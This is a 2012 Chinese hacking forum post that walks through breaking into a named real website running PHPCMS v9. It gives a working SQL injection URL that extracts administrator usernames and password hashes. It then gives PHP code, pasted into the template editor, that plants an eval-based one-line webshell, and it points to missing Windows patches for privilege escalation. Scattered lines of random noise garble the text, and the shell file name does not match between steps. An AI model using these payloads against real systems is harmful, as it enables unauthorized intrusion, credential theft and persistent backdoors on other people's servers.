利用phpcms v9 0day拿shell

admin · 发表于 2012-12-20 08:44:41

期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。

Author：夜行人

From：F4ck Team

目标站：http://www.ipucom.com/

旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞

百度一下找到该漏洞的利用方法。

直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名

api.php?op=add_favorite&url=xx.oo&title=%2527
' `  a0 w  d' `) M                                           3 n, I5 q2 g- }# I/ V5 ]% E
0 {6 }$ e# }/ m

% f" J) `8 l; o8 c  n
9 b# F8 M2 t: @. s4 ^+ L
0 M7 B7 g7 o2 S! r7 B& d! E4 v* [* h% T) t! ^5 K

# z* h8 M0 `5 Y/ K. @* ]) J1 U8 b  N, P3 D- ^& p( V
" i5 P5 A2 m* f% |5 C( D; }, c
                                                      ) q& R+ m& a( H* {$ M! d. f0 V
                                                      3 j; Z: `4 {; ?8 K7 V0 E) N  k

这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名

api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%

2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select

%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C

password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from

%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables

%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from

%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and

%2520%25271%2527%253D%25271

' n6 K6 ]! W) [% U6 ~1 B6 R. C( d6 u3 e! p

# C1 b( ?5 ]; z) b" q& [4 i& Q; i: [5 G9 T4 b# A

帐号密码就出来了，md5解密一下就行了

进入后台, 界面 > 模板管理 > 模板风格 >& E* j, W2 h8 L6 q* Z/ _3 Z5 B
% @, G( m3 \/ u) N$ z
" p! s0 K% e; z8 N6 f) U1 K; [2 j
                                             2 t3 c1 f: K8 h* h2 q
% N2 E. A" G3 Z" U2 s7 F1 x
5 |! _' `) E! K" s) O0 F  ~
. Q2 K& x4 X& o5 a. [; ]: B
7 `, y# z( P! m/ o8 G. r/ R" E. n
3 p0 E/ L; a( K: v  F& V. Y

点击后面的修改，然后把一下代码复制上去保存

<?

$fp = @fopen("c.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n");

@fclose($fp);

?>
: e* n+ d# D0 a; B3 F0 g5 X' j* d+ g1 h7 D9 G# @2 d4 ?: W

( O' G. i- Q7 M3 O. A& |( i: x' {6 Q* Z) @
4 D5 k* W' L: |7 Q5 b/ p
) L" l* [2 o( \# o- E6 Z% T/ I

7 f. D) |& O2 f5 ~. \% T& S9 i; v. E

2 M7 s6 b8 u3 a/ u% T( Z( ~3 g0 P4 g: {! m

/ w/ K* J' `. Z" p0 }

提交后可视化一下
4 i" s4 f) u I2 X3 N4 y( r, n# E1 K5 b6 X: Y' X# u6 }

在网站的根目录就生成了你的一句话木马客户端

http://www.zhongyitong.com/f4ck.php

然后通过控制端连上去就行了。。。

提权貌似很简单，看了下systeminfo

发现没有

KB2503665

KB2592799

		自动登录	找回密码
密码			立即注册

利用phpcms v9 0day拿shell

本帖子中包含更多资源